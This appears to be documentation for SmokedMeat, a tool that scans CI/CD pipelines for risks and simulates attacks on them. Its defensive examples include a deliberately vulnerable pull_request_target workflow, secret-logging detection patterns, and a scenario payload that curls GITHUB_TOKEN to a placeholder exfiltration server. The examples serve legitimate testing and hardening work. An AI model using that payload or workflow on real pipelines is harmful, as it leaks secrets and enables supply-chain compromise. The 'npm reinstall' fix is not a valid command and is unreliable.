コンテンツにスキップ

SmokedMeat

SmokedMeat is an open-source security assessment tool that visualizes and detects attacks within CI/CD pipelines. It helps security teams understand how attackers compromise build systems, gain unauthorized access to artifacts, and exfiltrate secrets. By simulating real-world attack scenarios and analyzing pipeline configurations, SmokedMeat enables proactive defense against supply chain threats.

# Supported platforms
- Python 3.8+
- Node.js 14+ (for visualization UI)
- Git 2.25+
- Docker (optional, for containerized analysis)
# Clone the repository
git clone https://github.com/security-repo/smokedmeat.git
cd smokedmeat

# Install Python dependencies
pip install -r requirements.txt

# Install Node dependencies (for web UI)
npm install

# Verify installation
smokedmeat --version
# Install via pip
pip install smokedmeat

# Install via npm (web components)
npm install smokedmeat-cli

# Install via Docker
docker pull smokedmeat/smokedmeat:latest
# Initialize config directory
smokedmeat init

# Create configuration file
cat > ~/.smokedmeat/config.yaml << EOF
verbosity: info
output_format: json
enable_visualization: true
api_endpoint: http://localhost:8080
EOF

# Set API credentials (optional)
export SMOKEDMEAT_API_KEY="your-api-key"
export GITHUB_TOKEN="ghp_xxxx"

CI/CD pipelines are targeted because they have:

  • Privileged execution — running with elevated permissions
  • Secret access — stored credentials and API tokens
  • Artifact generation — ability to modify build outputs
  • Wide distribution — automatic deployment to production
Attack TypeDescriptionRisk Level
Secret exfiltrationExtracting API keys, tokens, credentials from pipeline variablesCritical
Artifact poisoningModifying compiled binaries, packages, containers before releaseCritical
Pull request targetingUsing pull_request_target to access secrets in untrusted PRsHigh
Workflow injectionInjecting malicious steps into pipeline executionHigh
Dependency hijackingIntroducing compromised dependencies in build processHigh
Credential theftAccessing build environment variables and secretsCritical
Cache poisoningManipulating cached dependencies or artifactsMedium
Log exfiltrationExtracting sensitive data logged during buildsMedium

SmokedMeat provides multiple visualization modes to understand pipeline flow and attack vectors:

# Dependency graph visualization
smokedmeat visualize --type=dependency-graph

# Attack flow diagram
smokedmeat visualize --type=attack-flow

# Timeline view
smokedmeat visualize --type=timeline

# Interactive 3D graph
smokedmeat visualize --type=3d-graph
# Scan repository workflows
smokedmeat scan github --owner=myorg --repo=myrepo

# Scan specific workflow
smokedmeat scan github --workflow=.github/workflows/deploy.yml

# Generate detailed report
smokedmeat scan github --owner=myorg --repo=myrepo --output=report.html

# Scan for specific vulnerabilities
smokedmeat scan github --vuln-class=secret-exposure,privilege-escalation
# Example: .github/workflows/deploy.yml analyzed by SmokedMeat
name: Deploy
on: [push]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      # RISK: Exposing secrets directly
      - name: Build
        run: |
          echo ${{ secrets.DATABASE_PASSWORD }}
          # SmokedMeat detects this as secret exfiltration risk
# Scan GitLab CI pipeline
smokedmeat scan gitlab --project-id=12345 --token=$GITLAB_TOKEN

# Analyze .gitlab-ci.yml
smokedmeat scan gitlab --file=.gitlab-ci.yml

# Check for exposed variables
smokedmeat scan gitlab --check-variables --token=$GITLAB_TOKEN
# Scan Jenkins instance
smokedmeat scan jenkins --url=https://jenkins.company.com --token=$JENKINS_TOKEN

# Analyze Jenkinsfile
smokedmeat scan jenkins --file=Jenkinsfile

# Check credentials configuration
smokedmeat scan jenkins --check-credentials --url=https://jenkins.company.com
# Scan multiple platforms at once
smokedmeat scan multi \
  --github-repo=myorg/repo1 \
  --gitlab-project=12345 \
  --jenkins-url=https://jenkins.internal

# Deep analysis with all checks enabled
smokedmeat scan github \
  --owner=myorg \
  --repo=myrepo \
  --full-analysis \
  --check-dependencies \
  --check-secrets \
  --check-permissions
# Launch simulation environment
smokedmeat simulate github

# Define attack scenario
smokedmeat simulate --scenario=pull-request-secret-theft

# Run specific attack chain
smokedmeat simulate --attack-chain=token-exfiltration,artifact-poison
ScenarioDescriptionPlatforms
pr-target-abuseAbuse of pull_request_target to access secretsGitHub Actions
secret-loggerLogging secrets to pipeline outputAll
dependency-injectInjecting malicious dependenciesAll
env-var-exposeExposing environment variablesAll
artifact-modifyModifying build artifactsAll
workflow-injectInjecting workflow stepsGitHub Actions
branch-protection-bypassBypassing branch protection rulesGitHub, GitLab
token-exfiltrationStealing build tokensAll
# Generate attack flow diagram
smokedmeat visualize --scenario=pr-target-abuse --output=attack-flow.svg

# Create interactive HTML visualization
smokedmeat visualize --scenario=secret-logger --format=html --output=report.html

# Export as JSON for processing
smokedmeat visualize --scenario=dependency-inject --format=json --output=data.json

Example: Understanding pull_request_target Risk

Section titled “Example: Understanding pull_request_target Risk”
# VULNERABLE: Exposes secrets to untrusted PRs
name: Test PR
on:
  pull_request_target:  # Runs on base branch context with full access

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      
      - name: Run PR code
        run: npm test
        # Attacker can modify this to exfiltrate secrets

SmokedMeat flags this as critical because:

  1. pull_request_target runs with full secret access
  2. Untrusted code (ref: head.sha) is executed
  3. Attacker can inject commands to steal GITHUB_TOKEN
# Detect direct logging of secrets
smokedmeat detect --pattern=secret-logging

# Find environment variable exposure
smokedmeat detect --pattern=env-var-exposure

# Identify credential access
smokedmeat detect --pattern=credential-access

# Check for log injection
smokedmeat detect --pattern=log-injection
# Pattern: Direct secret in echo command
echo "Password: ${{ secrets.API_KEY }}"  # DETECTED

# Pattern: Environment variable in output
env | grep -i password  # DETECTED

# Pattern: curl with secret header
curl -H "Authorization: ${{ secrets.TOKEN }}" https://api.example.com
# DETECTED as credential transmission

# Pattern: Logging to file
echo ${{ secrets.DATABASE_URL }} > /tmp/config.txt  # DETECTED
# Detect artifact modification
smokedmeat detect --pattern=artifact-modification

# Check for unsigned artifacts
smokedmeat detect --pattern=unsigned-artifacts

# Identify cache poisoning
smokedmeat detect --pattern=cache-poisoning
# Detect injected workflow steps
smokedmeat detect --pattern=workflow-injection

# Find command injection risks
smokedmeat detect --pattern=command-injection

# Check for context injection
smokedmeat detect --pattern=context-injection
# Install as GitHub App
smokedmeat install github --org=myorg

# Run on every PR
# Add to .github/workflows/smokedmeat.yml:
name: SmokedMeat Check
on: [pull_request]

jobs:
  smokedmeat:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - name: Run SmokedMeat
        uses: security/smokedmeat-action@v1
        with:
          token: ${{ secrets.GITHUB_TOKEN }}
# Add to .gitlab-ci.yml
smokedmeat:
  image: smokedmeat/smokedmeat:latest
  script:
    - smokedmeat scan gitlab --project-id=$CI_PROJECT_ID
  artifacts:
    reports:
      sast: smokedmeat-report.json
// Add to Jenkinsfile
pipeline {
  stages {
    stage('SmokedMeat') {
      steps {
        sh 'smokedmeat scan jenkins --url=$JENKINS_URL --token=$JENKINS_TOKEN'
      }
    }
  }
}
# Export findings to Splunk
smokedmeat export --format=splunk --output=/var/log/smokedmeat.log

# Send to CloudTrail
smokedmeat export --format=cloudtrail --endpoint=$CLOUDTRAIL_ENDPOINT

# Post to webhook
smokedmeat export --format=webhook --url=https://siem.company.com/api/events
# Generate JSON report
smokedmeat scan github --owner=myorg --repo=myrepo --format=json > report.json

# Pretty-print JSON
smokedmeat scan github --owner=myorg --repo=myrepo --format=json | jq .
# Create interactive HTML report
smokedmeat scan github --owner=myorg --repo=myrepo --format=html --output=report.html

# Include visualizations
smokedmeat scan github --format=html --include-viz --output=full-report.html
# Export as SARIF for IDE integration
smokedmeat scan github --owner=myorg --repo=myrepo --format=sarif --output=results.sarif

# Integrates with VS Code, JetBrains IDEs
# Generate CSV for spreadsheet analysis
smokedmeat scan github --format=csv --output=findings.csv

# Filter by severity
smokedmeat scan github --format=csv --severity=critical,high --output=critical.csv
# Generate custom report with specific fields
smokedmeat report \
  --input=results.json \
  --fields=finding,severity,remediation,cwe \
  --format=html \
  --output=custom-report.html

# Include executive summary
smokedmeat report --input=results.json --template=executive-summary --output=summary.html
name: Secure Pipeline
on: [push]

jobs:
  build:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      packages: write
    steps:
      # DO: Pin actions to commit hash
      - uses: actions/checkout@f43a0e5ff2bd7f5b01927896a3e66a4c5d1a8daa
      
      # DO: Use environment-based secrets
      - name: Build
        env:
          API_KEY: ${{ secrets.API_KEY }}
        run: ./build.sh
      
      # DON'T: Use pull_request_target for untrusted code
      # DON'T: Log sensitive variables
jobs:
  build:
    runs-on: ubuntu-latest
    permissions:
      contents: read      # Only read code
      packages: write     # Only write packages
    steps:
      # Restrict to necessary permissions
      - uses: actions/checkout@v3
        with:
          persist-credentials: false
# Audit secret usage
smokedmeat audit-secrets --owner=myorg --repo=myrepo

# Generate rotation schedule
smokedmeat audit-secrets --output=rotation-plan.csv

# Export for secret management tool
smokedmeat audit-secrets --export=vault --output=secrets.json
# Verify dependency integrity
smokedmeat verify-dependencies --file=package-lock.json

# Check for known vulnerabilities
smokedmeat check-vulns --file=requirements.txt

# Generate SBOM
smokedmeat generate-sbom --output=sbom.json
ItemCheckTool
Secret exposureScan for hardcoded secretssmokedmeat detect --pattern=secret-logging
Untrusted inputValidate PR branches and commitssmokedmeat validate-input
Dependency integrityVerify checksums and signaturessmokedmeat verify-dependencies
Artifact signingEnable artifact signaturessmokedmeat sign-artifacts
Access controlLimit pipeline permissionssmokedmeat check-permissions
Audit loggingEnable comprehensive loggingsmokedmeat configure-logging
Breach detectionMonitor for exfiltrationsmokedmeat monitor
# Define custom scenario
cat > custom-scenario.yaml << EOF
name: Custom Attack
steps:
  - trigger: pull_request
    action: inject_step
    payload: curl $EXFIL_SERVER?token=${{ secrets.GITHUB_TOKEN }}
  - trigger: workflow_success
    action: poison_artifact
    target: docker-image
EOF

# Simulate attack
smokedmeat simulate --scenario-file=custom-scenario.yaml
# Start monitoring
smokedmeat monitor --owner=myorg --repo=myrepo --interval=60

# Watch for suspicious activity
smokedmeat monitor --watch-pattern=secret-access,artifact-modify

# Export monitoring data
smokedmeat monitor --export-metrics --output=metrics.json
# Generate SOC 2 compliance report
smokedmeat compliance --framework=soc2 --owner=myorg --output=soc2-report.html

# NIST cybersecurity framework
smokedmeat compliance --framework=nist --output=nist-report.html

# Custom compliance template
smokedmeat compliance --template=custom.yaml --output=compliance.html
# Scan and get quick verdict
smokedmeat scan github --owner=myorg --repo=myrepo --quick

# List all vulnerabilities
smokedmeat scan github --owner=myorg --repo=myrepo --list

# Export for remediation tracking
smokedmeat scan github --owner=myorg --repo=myrepo --export-jira

# Continuous monitoring
smokedmeat monitor --owner=myorg --repo=myrepo --continuous

# Generate executive dashboard
smokedmeat dashboard --owner=myorg --output=dashboard.html
# Authentication fails
# Solution: Verify token has correct scopes
export GITHUB_TOKEN=$(gh auth token)

# Timeout on large repositories
# Solution: Use sampling or batch processing
smokedmeat scan github --batch-size=10 --owner=myorg

# Missing visualization dependencies
# Solution: Reinstall Node components
npm reinstall